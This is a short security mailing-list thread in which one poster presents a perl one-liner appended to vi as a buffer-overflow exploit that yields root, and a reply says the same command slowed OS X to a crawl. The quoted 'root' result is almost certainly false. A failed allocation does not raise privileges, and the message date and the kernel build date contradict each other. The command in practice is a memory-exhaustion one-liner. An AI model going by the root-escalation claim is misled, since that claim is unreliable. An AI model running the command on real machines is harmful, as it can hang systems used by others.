Re: xmalloc buffer overflow?

[dotslash () snosoft com]

Heh by the way don't try this on OSX... it gets reeeeeeeeal pissed. I 
tryed du `perl -e ... blah blah like below... OSX
went to a crawl instantly. Had to take her down hard.
-KF

On Thursday, November 9, 2000, at 04:51 AM, Robert Freeman wrote:

> Can anybody else verify these results? It doesn't matter what `perl -e
> 'print "." x 90000000'` is appended to, I just chose vi (the vi buffer
> overflow being my inspiration). Please use the exploit responsibly; 
> also if
> it is redundant, I apologize.
>
>
> # uname -a
> Linux linux 2.4.4-4GB #1 Fri May 18 14:11:12 GMT 2001 i686 unknown  [I 
> know
> about the clock...]
> # id
> uid=500(nobody) gid=100(users) groups=100(users)
> # vi `perl -e 'print "." x 90000000'`
> bash: xmalloc: cannot allocate 90000001 bytes (0 bytes allocated)
> # id
> uid=0(root) gid=0(root)
> groups=0(root),1(bin),14(uucp),15(shadow),16(dialout),17(audio),65534
> (nogrou
> p)
>
>
> Robert Freeman
>
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